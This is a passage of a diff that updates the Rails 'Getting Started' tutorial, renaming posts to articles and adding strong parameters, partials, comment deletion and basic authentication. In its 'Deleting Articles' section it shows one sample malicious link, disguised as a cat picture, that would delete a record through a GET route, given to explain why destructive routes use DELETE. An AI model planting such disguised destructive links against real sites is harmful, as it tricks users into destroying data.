Record Validations](active_record_validations.html)
-With the validation now in place, when you call `@post.save` on an invalid
-post, it will return `false`. If you open `app/controllers/posts_controller.rb`
-again, you'll notice that we don't check the result of calling `@post.save`
-inside the `create` action. If `@post.save` fails in this situation, we need to
-show the form back to the user. To do this, change the `new` and `create`
-actions inside `app/controllers/posts_controller.rb` to these:
+With the validation now in place, when you call `@article.save` on an invalid
+article, it will return `false`. If you open
+`app/controllers/articles_controller.rb` again, you'll notice that we don't
+check the result of calling `@article.save` inside the `create` action.
+If `@article.save` fails in this situation, we need to show the form back to the
+user. To do this, change the `new` and `create` actions inside
+`app/controllers/articles_controller.rb` to these:
```ruby
def new
- @post = Post.new
+ @article = Article.new
end
def create
- @post = Post.new(params[:post].permit(:title, :text))
+ @article = Article.new(article_params)
- if @post.save
- redirect_to @post
+ if @article.save
+ redirect_to @article
else
render 'new'
end
end
+
+private
+ def article_params
+ params.require(:article).permit(:title, :text)
+ end
```
-The `new` action is now creating a new instance variable called `@post`, and
+The `new` action is now creating a new instance variable called `@article`, and
you'll see why that is in just a few moments.
-Notice that inside the `create` action we use `render` instead of `redirect_to` when `save`
-returns `false`. The `render` method is used so that the `@post` object is passed back to the `new` template when it is rendered. This rendering is done within the same request as the form submission, whereas the `redirect_to` will tell the browser to issue another request.
+Notice that inside the `create` action we use `render` instead of `redirect_to`
+when `save` returns `false`. The `render` method is used so that the `@article`
+object is passed back to the `new` template when it is rendered. This rendering
+is done within the same request as the form submission, whereas the
+`redirect_to` will tell the browser to issue another request.
If you reload
-<http://localhost:3000/posts/new> and
-try to save a post without a title, Rails will send you back to the
+<http://localhost:3000/articles/new> and
+try to save an article without a title, Rails will send you back to the
form, but that's not very useful. You need to tell the user that
something went wrong. To do that, you'll modify
-`app/views/posts/new.html.erb` to check for error messages:
+`app/views/articles/new.html.erb` to check for error messages:
```html+erb
-<%= form_for :post, url: posts_path do |f| %>
- <% if @post.errors.any? %>
- <div id="error_explanation">
- <h2><%= pluralize(@post.errors.count, "error") %> prohibited
- this post from being saved:</h2>
- <ul>
- <% @post.errors.full_messages.each do |msg| %>
- <li><%= msg %></li>
- <% end %>
- </ul>
- </div>
+<%= form_for :article, url: articles_path do |f| %>
+
+ <% if @article.errors.any? %>
+ <div id="error_explanation">
+ <h2>
+ <%= pluralize(@article.errors.count, "error") %> prohibited
+ this article from being saved:
+ </h2>
+ <ul>
+ <% @article.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
<% end %>
+
<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
@@ -816,62 +1082,85 @@ something went wrong. To do that, you'll modify
<p>
<%= f.submit %>
</p>
+
<% end %>
-<%= link_to 'Back', posts_path %>
+<%= link_to 'Back', articles_path %>
```
A few things are going on. We check if there are any errors with
-`@post.errors.any?`, and in that case we show a list of all
-errors with `@post.errors.full_messages`.
+`@article.errors.any?`, and in that case we show a list of all
+errors with `@article.errors.full_messages`.
`pluralize` is a rails helper that takes a number and a string as its
-arguments. If the number is greater than one, the string will be automatically pluralized.
+arguments. If the number is greater than one, the string will be automatically
+pluralized.
-The reason why we added `@post = Post.new` in `posts_controller` is that
-otherwise `@post` would be `nil` in our view, and calling
-`@post.errors.any?` would throw an error.
+The reason why we added `@article = Article.new` in the `ArticlesController` is
+that otherwise `@article` would be `nil` in our view, and calling
+`@article.errors.any?` would throw an error.
TIP: Rails automatically wraps fields that contain an error with a div
with class `field_with_errors`. You can define a css rule to make them
standout.
-Now you'll get a nice error message when saving a post without title when you
-attempt to do just that on the new post form [(http://localhost:3000/posts/new)](http://localhost:3000/posts/new).
+Now you'll get a nice error message when saving an article without title when
+you attempt to do just that on the new article form
+[(http://localhost:3000/articles/new)](http://localhost:3000/articles/new).
![Form With Errors](images/getting_started/form_with_errors.png)
-### Updating Posts
+### Updating Articles
-We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating posts.
+We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating
+articles.
-The first step we'll take is adding an `edit` action to `posts_controller`.
+The first step we'll take is adding an `edit` action to the `ArticlesController`,
+generally between the `new` and `create` actions, as shown:
```ruby
+def new
+ @article = Article.new
+end
+
def edit
- @post = Post.find(params[:id])
+ @article = Article.find(params[:id])
+end
+
+def create
+ @article = Article.new(article_params)
+
+ if @article.save
+ redirect_to @article
+ else
+ render 'new'
+ end
end
```
The view will contain a form similar to the one we used when creating
-new posts. Create a file called `app/views/posts/edit.html.erb` and make
+new articles. Create a file called `app/views/articles/edit.html.erb` and make
it look as follows:
```html+erb
-<h1>Editing post</h1>
-
-<%= form_for :post, url: post_path(@post.id), method: :patch do |f| %>
- <% if @post.errors.any? %>
- <div id="error_explanation">
- <h2><%= pluralize(@post.errors.count, "error") %> prohibited
- this post from being saved:</h2>
- <ul>
- <% @post.errors.full_messages.each do |msg| %>
- <li><%= msg %></li>
- <% end %>
- </ul>
- </div>
+<h1>Editing article</h1>
+
+<%= form_for :article, url: article_path(@article), method: :patch do |f| %>
+
+ <% if @article.errors.any? %>
+ <div id="error_explanation">
+ <h2>
+ <%= pluralize(@article.errors.count, "error") %> prohibited
+ this article from being saved:
+ </h2>
+ <ul>
+ <% @article.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
<% end %>
+
<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
@@ -885,9 +1174,10 @@ it look as follows:
<p>
<%= f.submit %>
</p>
+
<% end %>
-<%= link_to 'Back', posts_path %>
+<%= link_to 'Back', articles_path %>
```
This time we point the form to the `update` action, which is not defined yet
@@ -897,35 +1187,60 @@ The `method: :patch` option tells Rails that we want this form to be submitted
via the `PATCH` HTTP method which is the HTTP method you're expected to use to
**update** resources according to the REST protocol.
-TIP: By default forms built with the _form_for_ helper are sent via `POST`.
+The first parameter of `form_for` can be an object, say, `@article` which would
+cause the helper to fill in the form with the fields of the object. Passing in a
+symbol (`:article`) with the same name as the instance variable (`@article`)
+also automagically leads to the same behavior. This is what is happening here.
+More details can be found in [form_for documentation]
+(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for).
-Next we need to create the `update` action in `app/controllers/posts_controller.rb`:
+Next, we need to create the `update` action in
+`app/controllers/articles_controller.rb`.
+Add it between the `create` action and the `private` method:
```ruby
+def create
+ @article = Article.new(article_params)
+
+ if @article.save
+ redirect_to @article
+ else
+ render 'new'
+ end
+end
+
def update
- @post = Post.find(params[:id])
+ @article = Article.find(params[:id])
- if @post.update(params[:post].permit(:title, :text))
- redirect_to @post
+ if @article.update(article_params)
+ redirect_to @article
else
render 'edit'
end
end
+
+private
+ def article_params
+ params.require(:article).permit(:title, :text)
+ end
```
The new method, `update`, is used when you want to update a record
that already exists, and it accepts a hash containing the attributes
that you want to update. As before, if there was an error updating the
-post we want to show the form back to the user.
+article we want to show the form back to the user.
+
+We reuse the `article_params` method that we defined earlier for the create
+action.
TIP: You don't need to pass all attributes to `update`. For
-example, if you'd call `@post.update(title: 'A new title')`
+example, if you'd call `@article.update(title: 'A new title')`
Rails would only update the `title` attribute, leaving all other
attributes untouched.
Finally, we want to show a link to the `edit` action in the list of all the
-posts, so let's add that now to `app/views/posts/index.html.erb` to make it
-appear next to the "Show" link:
+articles, so let's add that now to `app/views/articles/index.html.erb` to make
+it appear next to the "Show" link:
```html+erb
<table>
@@ -935,26 +1250,26 @@ appear next to the "Show" link:
<th colspan="2"></th>
</tr>
-<% @posts.each do |post| %>
- <tr>
- <td><%= post.title %></td>
- <td><%= post.text %></td>
- <td><%= link_to 'Show', post_path(post) %></td>
- <td><%= link_to 'Edit', edit_post_path(post) %></td>
- </tr>
-<% end %>
+ <% @articles.each do |article| %>
+ <tr>
+ <td><%= article.title %></td>
+ <td><%= article.text %></td>
+ <td><%= link_to 'Show', article_path(article) %></td>
+ <td><%= link_to 'Edit', edit_article_path(article) %></td>
+ </tr>
+ <% end %>
</table>
```
-And we'll also add one to the `app/views/posts/show.html.erb` template as well,
-so that there's also an "Edit" link on a post's page. Add this at the bottom of
-the template:
+And we'll also add one to the `app/views/articles/show.html.erb` template as
+well, so that there's also an "Edit" link on an article's page. Add this at the
+bottom of the template:
```html+erb
...
-<%= link_to 'Back', posts_path %>
-| <%= link_to 'Edit', edit_post_path(@post) %>
+<%= link_to 'Back', articles_path %> |
+<%= link_to 'Edit', edit_article_path(@article) %>
```
And here's how our app looks so far:
@@ -963,30 +1278,34 @@ And here's how our app looks so far:
### Using partials to clean up duplication in views
-Our `edit` page looks very similar to the `new` page, in fact they
-both share the same code for displaying the form. Let's remove some duplication
-by using a view partial. By convention, partial files are prefixed by an
-underscore.
+Our `edit` page looks very similar to the `new` page; in fact, they
+both share the same code for displaying the form. Let's remove this
+duplication by using a view partial. By convention, partial files are
+prefixed by an underscore.
TIP: You can read more about partials in the
[Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
-Create a new file `app/views/posts/_form.html.erb` with the following
+Create a new file `app/views/articles/_form.html.erb` with the following
content:
```html+erb
-<%= form_for @post do |f| %>
- <% if @post.errors.any? %>
- <div id="error_explanation">
- <h2><%= pluralize(@post.errors.count, "error") %> prohibited
- this post from being saved:</h2>
- <ul>
- <% @post.errors.full_messages.each do |msg| %>
- <li><%= msg %></li>
- <% end %>
- </ul>
- </div>
+<%= form_for @article do |f| %>
+
+ <% if @article.errors.any? %>
+ <div id="error_explanation">
+ <h2>
+ <%= pluralize(@article.errors.count, "error") %> prohibited
+ this article from being saved:
+ </h2>
+ <ul>
+ <% @article.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
<% end %>
+
<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
@@ -1000,41 +1319,47 @@ content:
<p>
<%= f.submit %>
</p>
+
<% end %>
```
Everything except for the `form_for` declaration remained the same.
-How `form_for` can figure out the right `action` and `method` attributes
-when building the form will be explained in just a moment. For now, let's update the
-`app/views/posts/new.html.erb` view to use this new partial, rewriting it
-completely:
+The reason we can use this shorter, simpler `form_for` declaration
+to stand in for either of the other forms is that `@article` is a *resource*
+corresponding to a full set of RESTful routes, and Rails is able to infer
+which URI and method to use.
+For more information about this use of `form_for`, see [Resource-oriented style]
+(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for-label-Resource-oriented+style).
+
+Now, let's update the `app/views/articles/new.html.erb` view to use this new
+partial, rewriting it completely:
```html+erb
-<h1>New post</h1>
+<h1>New article</h1>
<%= render 'form' %>
-<%= link_to 'Back', posts_path %>
+<%= link_to 'Back', articles_path %>
```
-Then do the same for the `app/views/posts/edit.html.erb` view:
+Then do the same for the `app/views/articles/edit.html.erb` view:
```html+erb
-<h1>Edit post</h1>
+<h1>Edit article</h1>
<%= render 'form' %>
-<%= link_to 'Back', posts_path %>
+<%= link_to 'Back', articles_path %>
```
-### Deleting Posts
+### Deleting Articles
-We're now ready to cover the "D" part of CRUD, deleting posts from the
+We're now ready to cover the "D" part of CRUD, deleting articles from the
database. Following the REST convention, the route for
-deleting posts in the `config/routes.rb` is:
+deleting articles as per output of `rake routes` is:
```ruby
-DELETE /posts/:id(.:format) posts#destroy
+DELETE /articles/:id(.:format) articles#destroy
```
The `delete` routing method should be used for routes that destroy
@@ -1042,19 +1367,76 @@ resources. If this was left as a typical `get` route, it could be possible for
people to craft malicious URLs like this:
```html
-<a href='http://example.com/posts/1/destroy'>look at this cat!</a>
+<a href='http://example.com/articles/1/destroy'>look at this cat!</a>
```
-We use the `delete` method for destroying resources, and this route is mapped to
-the `destroy` action inside `app/controllers/posts_controller.rb`, which doesn't exist yet, but is
-provided below:
+We use the `delete` method for destroying resources, and this route is mapped
+to the `destroy` action inside `app/controllers/articles_controller.rb`, which
+doesn't exist yet. The `destroy` method is generally the last CRUD action in
+the controller, and like the other public CRUD actions, it must be placed
+before any `private` or `protected` methods. Let's add it:
```ruby
def destroy
- @post = Post.find(params[:id])
- @post.destroy
+ @article = Article.find(params[:id])
+ @article.destroy
+
+ redirect_to articles_path
+end
+```
+
+The complete `ArticlesController` in the
+`app/controllers/articles_controller.rb` file should now look like this:
+
+```ruby
+class ArticlesController < ApplicationController
+ def index
+ @articles = Article.all
+ end
+
+ def show
+ @article = Article.find(params[:id])
+ end
+
+ def new
+ @article = Article.new
+ end
+
+ def edit
+ @article = Article.find(params[:id])
+ end
+
+ def create
+ @article = Article.new(article_params)
- redirect_to posts_path
+ if @article.save
+ redirect_to @article
+ else
+ render 'new'
+ end
+ end
+
+ def update
+ @article = Article.find(params[:id])
+
+ if @article.update(article_params)
+ redirect_to @article
+ else
+ render 'edit'
+ end
+ end
+
+ def destroy
+ @article = Article.find(params[:id])
+ @article.destroy
+
+ redirect_to articles_path
+ end
+
+ private
+ def article_params
+ params.require(:article).permit(:title, :text)
+ end
end
```
@@ -1062,12 +1444,12 @@ You can call `destroy` on Active Record objects when you want to delete
them from the database. Note that we don't need to add a view for this
action since we're redirecting to the `index` action.
-Finally, add a 'destroy' link to your `index` action template
-(`app/views/posts/index.html.erb`) to wrap everything
-together.
+Finally, add a 'Destroy' link to your `index` action template
+(`app/views/articles/index.html.erb`) to wrap everything together.
```html+erb
-<h1>Listing Posts</h1>
+<h1>Listing Articles</h1>
+<%= link_to 'New article', new_article_path %>
<table>
<tr>
<th>Title</th>
@@ -1075,58 +1457,59 @@ together.
<th colspan="3"></th>
</tr>
-<% @posts.each do |post| %>
- <tr>
- <td><%= post.title %></td>
- <td><%= post.text %></td>
- <td><%= link_to 'Show', post_path(post) %></td>
- <td><%= link_to 'Edit', edit_post_path(post) %></td>
- <td><%= link_to 'Destroy', post_path(post),
- method: :delete, data: { confirm: 'Are you sure?' } %></td>
- </tr>
-<% end %>
+ <% @articles.each do |article| %>
+ <tr>
+ <td><%= article.title %></td>
+ <td><%= article.text %></td>
+ <td><%= link_to 'Show', article_path(article) %></td>
+ <td><%= link_to 'Edit', edit_article_path(article) %></td>
+ <td><%= link_to 'Destroy', article_path(article),
+ method: :delete,
+ data: { confirm: 'Are you sure?' } %></td>
+ </tr>
+ <% end %>
</table>
```
-Here we're using `link_to` in a different way. We pass the named route as the first argument,
-and then the final two keys as another argument. The `:method` and `:'data-confirm'`
-options are used as HTML5 attributes so that when the link is clicked,
-Rails will first show a confirm dialog to the user, and then submit the link with method `delete`.
-This is done via the JavaScript file `jquery_ujs` which is automatically included
-into your application's layout (`app/views/layouts/application.html.erb`) when you
-generated the application. Without this file, the confirmation dialog box wouldn't appear.
+Here we're using `link_to` in a different way. We pass the named route as the
+second argument, and then the options as another argument. The `:method` and
+`:'data-confirm'` options are used as HTML5 attributes so that when the link is
+clicked, Rails will first show a confirm dialog to the user, and then submit the
+link with method `delete`. This is done via the JavaScript file `jquery_ujs`
+which is automatically included into your application's layout
+(`app/views/layouts/application.html.erb`) when you generated the application.
+Without this file, the confirmation dialog box wouldn't appear.
![Confirm Dialog](images/getting_started/confirm_dialog.png)
Congratulations, you can now create, show, list, update and destroy
-posts.
+articles.
-TIP: In general, Rails encourages the use of resources objects in place
-of declaring routes manually.
-For more information about routing, see
+TIP: In general, Rails encourages using resources objects instead of
+declaring routes manually. For more information about routing, see
[Rails Routing from the Outside In](routing.html).
Adding a Second Model
---------------------
-It's time to add a second model to the application. The second model will handle comments on
-posts.
+It's time to add a second model to the application. The second model will handle
+comments on articles.
### Generating a Model
We're going to see the same generator that we used before when creating
-the `Post` model. This time we'll create a `Comment` model to hold
-reference of post comments. Run this command in your terminal:
+the `Article` model. This time we'll create a `Comment` model to hold
+reference of article comments. Run this command in your terminal:
```bash
-$ rails generate model Comment commenter:string body:text post:references
+$ rails generate model Comment commenter:string body:text article:references
```
This command will generate four files:
| File | Purpose |
| -------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
-| db/migrate/20100207235629_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) |
+| db/migrate/20140120201010_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) |
| app/models/comment.rb | The Comment model |
| test/models/comment_test.rb | Testing harness for the comments model |
| test/fixtures/comments.yml | Sample comments for use in testing |
@@ -1135,12 +1518,12 @@ First, take a look at `app/models/comment.rb`:
```ruby
class Comment < ActiveRecord::Base
- belongs_to :post
+ belongs_to :article
end
```
-This is very similar to the `post.rb` model that you saw earlier. The difference
-is the line `belongs_to :post`, which sets up an Active Record _association_.
+This is very similar to the `Article` model that you saw earlier. The difference
+is the line `belongs_to :article`, which sets up an Active Record _association_.
You'll learn a little about associations in the next section of this guide.
In addition to the model, Rails has also made a migration to create the
@@ -1152,7 +1535,9 @@ class CreateComments < ActiveRecord::Migration
create_table :comments do |t|
t.string :commenter
t.text :body
- t.references :post, index: true
+
+ # this line adds an integer column called `article_id`.
+ t.references :article, index: true
t.timestamps
end
@@ -1181,57 +1566,59 @@ run against the current database, so in this case you will just see:
### Associating Models
Active Record associations let you easily declare the relationship between two
-models. In the case of comments and posts, you could write out the relationships
-this way:
+models. In the case of comments and articles, you could write out the
+relationships this way:
-* Each comment belongs to one post.
-* One post can have many comments.
+* Each comment belongs to one article.
+* One article can have many comments.
In fact, this is very close to the syntax that Rails uses to declare this
-association. You've already seen the line of code inside the `Comment` model (app/models/comment.rb) that
-makes each comment belong to a Post:
+association. You've already seen the line of code inside the `Comment` model
+(app/models/comment.rb) that makes each comment belong to an Article:
```ruby
class Comment < ActiveRecord::Base
- belongs_to :post
+ belongs_to :article
end
```
-You'll need to edit `app/models/post.rb` to add the other side of the association:
+You'll need to edit `app/models/article.rb` to add the other side of the
+association:
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
has_many :comments
validates :title, presence: true,
length: { minimum: 5 }
- [...]
end
```
These two declarations enable a good bit of automatic behavior. For example, if
-you have an instance variable `@post` containing a post, you can retrieve all
-the comments belonging to that post as an array using `@post.comments`.
+you have an instance variable `@article` containing an article, you can retrieve
+all the comments belonging to that article as an array using
+`@article.comments`.
TIP: For more information on Active Record associations, see the [Active Record
Associations](association_basics.html) guide.
### Adding a Route for Comments
-As with the `welcome` controller, we will need to add a route so that Rails knows
-where we would like to navigate to see `comments`. Open up the
+As with the `welcome` controller, we will need to add a route so that Rails
+knows where we would like to navigate to see `comments`. Open up the
`config/routes.rb` file again, and edit it as follows:
```ruby
-resources :posts do
+resources :articles do
resources :comments
end
```
-This creates `comments` as a _nested resource_ within `posts`. This is another
-part of capturing the hierarchical relationship that exists between posts and
-comments.
+This creates `comments` as a _nested resource_ within `articles`. This is
+another part of capturing the hierarchical relationship that exists between
+articles and comments.
-TIP: For more information on routing, see the [Rails Routing](routing.html) guide.
+TIP: For more information on routing, see the [Rails Routing](routing.html)
+guide.
### Generating a Controller
@@ -1255,33 +1642,33 @@ This creates six files and one empty directory:
| app/assets/stylesheets/comment.css.scss | Cascading style sheet for the controller |
Like with any blog, our readers will create their comments directly after
-reading the post, and once they have added their comment, will be sent back to
-the post show page to see their comment now listed. Due to this, our
+reading the article, and once they have added their comment, will be sent back
+to the article show page to see their comment now listed. Due to this, our
`CommentsController` is there to provide a method to create comments and delete
spam comments when they arrive.
-So first, we'll wire up the Post show template
-(`app/views/posts/show.html.erb`) to let us make a new comment:
+So first, we'll wire up the Article show template
+(`app/views/articles/show.html.erb`) to let us make a new comment:
```html+erb
<p>
<strong>Title:</strong>
- <%= @post.title %>
+ <%= @article.title %>
</p>
<p>
<strong>Text:</strong>
- <%= @post.text %>
+ <%= @article.text %>
</p>
<h2>Add a comment:</h2>
-<%= form_for([@post, @post.comments.build]) do |f| %>
+<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
- <%= f.label :commenter %><br />
+ <%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
- <%= f.label :body %><br />
+ <%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
@@ -1289,55 +1676,61 @@ So first, we'll wire up the Post show template
</p>
<% end %>
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %>
+<%= link_to 'Back', articles_path %> |
+<%= link_to 'Edit', edit_article_path(@article) %>
```
-This adds a form on the `Post` show page that creates a new comment by
+This adds a form on the `Article` show page that creates a new comment by
calling the `CommentsController` `create` action. The `form_for` call here uses
-an array, which will build a nested route, such as `/posts/1/comments`.
+an array, which will build a nested route, such as `/articles/1/comments`.
Let's wire up the `create` in `app/controllers/comments_controller.rb`:
```ruby
class CommentsController < ApplicationController
def create
- @post = Post.find(params[:post_id])
- @comment = @post.comments.create(params[:comment].permit(:commenter, :body))
- redirect_to post_path(@post)
+ @article = Article.find(params[:article_id])
+ @comment = @article.comments.create(comment_params)
+ redirect_to article_path(@article)
end
+
+ private
+ def comment_params
+ params.require(:comment).permit(:commenter, :body)
+ end
end
```
-You'll see a bit more complexity here than you did in the controller for posts.
-That's a side-effect of the nesting that you've set up. Each request for a
-comment has to keep track of the post to which the comment is attached, thus the
-initial call to the `find` method of the `Post` model to get the post in question.
+You'll see a bit more complexity here than you did in the controller for
+articles. That's a side-effect of the nesting that you've set up. Each request
+for a comment has to keep track of the article to which the comment is attached,
+thus the initial call to the `find` method of the `Article` model to get the
+article in question.
In addition, the code takes advantage of some of the methods available for an
-association. We use the `create` method on `@post.comments` to create and save
-the comment. This will automatically link the comment so that it belongs to that
-particular post.
+association. We use the `create` method on `@article.comments` to create and
+save the comment. This will automatically link the comment so that it belongs to
+that particular article.
-Once we have made the new comment, we send the user back to the original post
-using the `post_path(@post)` helper. As we have already seen, this calls the
-`show` action of the `PostsController` which in turn renders the `show.html.erb`
-template. This is where we want the comment to show, so let's add that to the
-`app/views/posts/show.html.erb`.
+Once we have made the new comment, we send the user back to the original article
+using the `article_path(@article)` helper. As we have already seen, this calls
+the `show` action of the `ArticlesController` which in turn renders the
+`show.html.erb` template. This is where we want the comment to show, so let's
+add that to the `app/views/articles/show.html.erb`.
```html+erb
<p>
<strong>Title:</strong>
- <%= @post.title %>
+ <%= @article.title %>
</p>
<p>
<strong>Text:</strong>
- <%= @post.text %>
+ <%= @article.text %>
</p>
<h2>Comments</h2>
-<% @post.comments.each do |comment| %>
+<% @article.comments.each do |comment| %>
<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
@@ -1350,13 +1743,13 @@ template. This is where we want the comment to show, so let's add that to the
<% end %>
<h2>Add a comment:</h2>
-<%= form_for([@post, @post.comments.build]) do |f| %>
+<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
- <%= f.label :commenter %><br />
+ <%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
- <%= f.label :body %><br />
+ <%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
@@ -1364,26 +1757,26 @@ template. This is where we want the comment to show, so let's add that to the
</p>
<% end %>
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %>
+<%= link_to 'Edit Article', edit_article_path(@article) %> |
+<%= link_to 'Back to Articles', articles_path %>
```
-Now you can add posts and comments to your blog and have them show up in the
+Now you can add articles and comments to your blog and have them show up in the
right places.
-![Post with Comments](images/getting_started/post_with_comments.png)
+![Article with Comments](images/getting_started/article_with_comments.png)
Refactoring
-----------
-Now that we have posts and comments working, take a look at the
-`app/views/posts/show.html.erb` template. It is getting long and awkward. We can
-use partials to clean it up.
+Now that we have articles and comments working, take a look at the
+`app/views/articles/show.html.erb` template. It is getting long and awkward. We
+can use partials to clean it up.
### Rendering Partial Collections
-First, we will make a comment partial to extract showing all the comments for the
-post. Create the file `app/views/comments/_comment.html.erb` and put the
+First, we will make a comment partial to extract showing all the comments for
+the article. Create the file `app/views/comments/_comment.html.erb` and put the
following into it:
```html+erb
@@ -1398,31 +1791,31 @@ following into it:
</p>
```
-Then you can change `app/views/posts/show.html.erb` to look like the
+Then you can change `app/views/articles/show.html.erb` to look like the
following:
```html+erb
<p>
<strong>Title:</strong>
- <%= @post.title %>
+ <%= @article.title %>
</p>
<p>
<strong>Text:</strong>
- <%= @post.text %>
+ <%= @article.text %>
</p>
<h2>Comments</h2>
-<%= render @post.comments %>
+<%= render @article.comments %>
<h2>Add a comment:</h2>
-<%= form_for([@post, @post.comments.build]) do |f| %>
+<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
- <%= f.label :commenter %><br />
+ <%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
- <%= f.label :body %><br />
+ <%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
@@ -1430,13 +1823,13 @@ following:
</p>
<% end %>
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %>
+<%= link_to 'Edit Article', edit_article_path(@article) %> |
+<%= link_to 'Back to Articles', articles_path %>
```
This will now render the partial in `app/views/comments/_comment.html.erb` once
-for each comment that is in the `@post.comments` collection. As the `render`
-method iterates over the `@post.comments` collection, it assigns each
+for each comment that is in the `@article.comments` collection. As the `render`
+method iterates over the `@article.comments` collection, it assigns each
comment to a local variable named the same as the partial, in this case
`comment` which is then available in the partial for us to show.
@@ -1446,13 +1839,13 @@ Let us also move that new comment section out to its own partial. Again, you
create a file `app/views/comments/_form.html.erb` containing:
```html+erb
-<%= form_for([@post, @post.comments.build]) do |f| %>
+<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
- <%= f.label :commenter %><br />
+ <%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
- <%= f.label :body %><br />
+ <%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
@@ -1461,27 +1854,27 @@ create a file `app/views/comments/_form.html.erb` containing:
<% end %>
```
-Then you make the `app/views/posts/show.html.erb` look like the following:
+Then you make the `app/views/articles/show.html.erb` look like the following:
```html+erb
<p>
<strong>Title:</strong>
- <%= @post.title %>
+ <%= @article.title %>
</p>
<p>
<strong>Text:</strong>
- <%= @post.text %>
+ <%= @article.text %>
</p>
<h2>Comments</h2>
-<%= render @post.comments %>
+<%= render @article.comments %>
<h2>Add a comment:</h2>
<%= render "comments/form" %>
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %>
+<%= link_to 'Edit Article', edit_article_path(@article) %> |
+<%= link_to 'Back to Articles', articles_path %>
```
The second render just defines the partial template we want to render,
@@ -1489,15 +1882,15 @@ The second render just defines the partial template we want to render,
string and realize that you want to render the `_form.html.erb` file in
the `app/views/comments` directory.
-The `@post` object is available to any partials rendered in the view because we
-defined it as an instance variable.
+The `@article` object is available to any partials rendered in the view because
+we defined it as an instance variable.
Deleting Comments
-----------------
Another important feature of a blog is being able to delete spam comments. To do
-this, we need to implement a link of some sort in the view and a `DELETE` action
-in the `CommentsController`.
+this, we need to implement a link of some sort in the view and a `destroy`
+action in the `CommentsController`.
So first, let's add the delete link in the
`app/views/comments/_comment.html.erb` partial:
@@ -1514,88 +1907,93 @@ So first, let's add the delete link in the
</p>
<p>
- <%= link_to 'Destroy Comment', [comment.post, comment],
+ <%= link_to 'Destroy Comment', [comment.article, comment],
method: :delete,
data: { confirm: 'Are you sure?' } %>
</p>
```
Clicking this new "Destroy Comment" link will fire off a `DELETE
-/posts/:post_id/comments/:id` to our `CommentsController`, which can then use
-this to find the comment we want to delete, so let's add a destroy action to our
-controller (`app/controllers/comments_controller.rb`):
+/articles/:article_id/comments/:id` to our `CommentsController`, which can then
+use this to find the comment we want to delete, so let's add a `destroy` action
+to our controller (`app/controllers/comments_controller.rb`):
```ruby
class CommentsController < ApplicationController
-
def create
- @post = Post.find(params[:post_id])
- @comment = @post.comments.create(params[:comment])
- redirect_to post_path(@post)
+ @article = Article.find(params[:article_id])
+ @comment = @article.comments.create(comment_params)
+ redirect_to article_path(@article)
end
def destroy
- @post = Post.find(params[:post_id])
- @comment = @post.comments.find(params[:id])
+ @article = Article.find(params[:article_id])
+ @comment = @article.comments.find(params[:id])
@comment.destroy
- redirect_to post_path(@post)
+ redirect_to article_path(@article)
end
+ private
+ def comment_params
+ params.require(:comment).permit(:commenter, :body)
+ end
end
```
-The `destroy` action will find the post we are looking at, locate the comment
-within the `@post.comments` collection, and then remove it from the
-database and send us back to the show action for the post.
+The `destroy` action will find the article we are looking at, locate the comment
+within the `@article.comments` collection, and then remove it from the
+database and send us back to the show action for the article.
### Deleting Associated Objects
-If you delete a post then its associated comments will also need to be deleted.
-Otherwise they would simply occupy space in the database. Rails allows you to
-use the `dependent` option of an association to achieve this. Modify the Post
-model, `app/models/post.rb`, as follows:
+If you delete an article, its associated comments will also need to be
+deleted, otherwise they would simply occupy space in the database. Rails allows
+you to use the `dependent` option of an association to achieve this. Modify the
+Article model, `app/models/article.rb`, as follows:
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
has_many :comments, dependent: :destroy
validates :title, presence: true,
length: { minimum: 5 }
- [...]
end
```
Security
--------
-If you were to publish your blog online, anybody would be able to add, edit and
-delete posts or delete comments.
+### Basic Authentication
+
+If you were to publish your blog online, anyone would be able to add, edit and
+delete articles or delete comments.
Rails provides a very simple HTTP authentication system that will work nicely in
this situation.
-In the `PostsController` we need to have a way to block access to the various
-actions if the person is not authenticated, here we can use the Rails
-`http_basic_authenticate_with` method, allowing access to the requested
+In the `ArticlesController` we need to have a way to block access to the
+various actions if the person is not authenticated. Here we can use the Rails
+`http_basic_authenticate_with` method, which allows access to the requested
action if that method allows it.
To use the authentication system, we specify it at the top of our
-`PostsController`, in this case, we want the user to be authenticated on every
-action, except for `index` and `show`, so we write that in `app/controllers/posts_controller.rb`:
+`ArticlesController` in `app/controllers/articles_controller.rb`. In our case,
+we want the user to be authenticated on every action except `index` and `show`,
+so we write that:
```ruby
